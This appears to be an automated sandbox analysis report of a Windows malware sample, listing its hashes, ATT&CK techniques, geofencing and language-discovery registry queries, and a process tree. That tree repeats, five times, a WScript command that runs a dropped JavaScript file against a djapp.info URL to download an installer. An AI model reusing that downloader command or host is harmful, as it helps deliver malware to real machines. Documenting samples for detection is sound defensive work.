544235219a4cd98ed2af5c09cdecc214630d588ad583730cf055a6c3254e15f3

General

Target

39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe
Size

184KB
MD5

39c7350bb8599487f2dc7047c52e6661
SHA1

48518dcce9c74586a2d2a9a5f84bc12ee624d12a
SHA256

544235219a4cd98ed2af5c09cdecc214630d588ad583730cf055a6c3254e15f3
SHA512

db110c4a9c7611fcf2153fe1ed05f138ce3ad4dbae7d19f4ee09431ed40f3bdf0ce19dfde1d7c7c52677af0cf3edf1ec733382863d3acbf71fc8998f63ac345f
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3G:/7BSH8zUB+nGESaaRvoB7FJNndnj

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	516	WScript.exe
20	4512	WScript.exe
21	4512	WScript.exe
23	4392	WScript.exe
24	4392	WScript.exe
40	3452	WScript.exe
43	1396	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
956	4352	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 516	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	83
PID 4352 wrote to memory of 516	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	83
PID 4352 wrote to memory of 516	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	83
PID 4352 wrote to memory of 4512	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	89
PID 4352 wrote to memory of 4512	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	89
PID 4352 wrote to memory of 4512	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	89
PID 4352 wrote to memory of 4392	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	91
PID 4352 wrote to memory of 4392	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	91
PID 4352 wrote to memory of 4392	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	91
PID 4352 wrote to memory of 3452	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	98
PID 4352 wrote to memory of 3452	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	98
PID 4352 wrote to memory of 3452	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	98
PID 4352 wrote to memory of 1396	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	102
PID 4352 wrote to memory of 1396	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	102
PID 4352 wrote to memory of 1396	4352	39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\39c7350bb8599487f2dc7047c52e6661_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js" http://www.djapp.info/?domain=jMEvsqqgKN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9DC6.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:516
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js" http://www.djapp.info/?domain=jMEvsqqgKN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9DC6.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4512
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js" http://www.djapp.info/?domain=jMEvsqqgKN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9DC6.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4392
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js" http://www.djapp.info/?domain=jMEvsqqgKN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9DC6.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3452
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js" http://www.djapp.info/?domain=jMEvsqqgKN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9DC6.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1396
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 1448
  2⤵
  - Program crash
  PID:956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4352 -ip 4352
1⤵
PID:3028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf9DC6.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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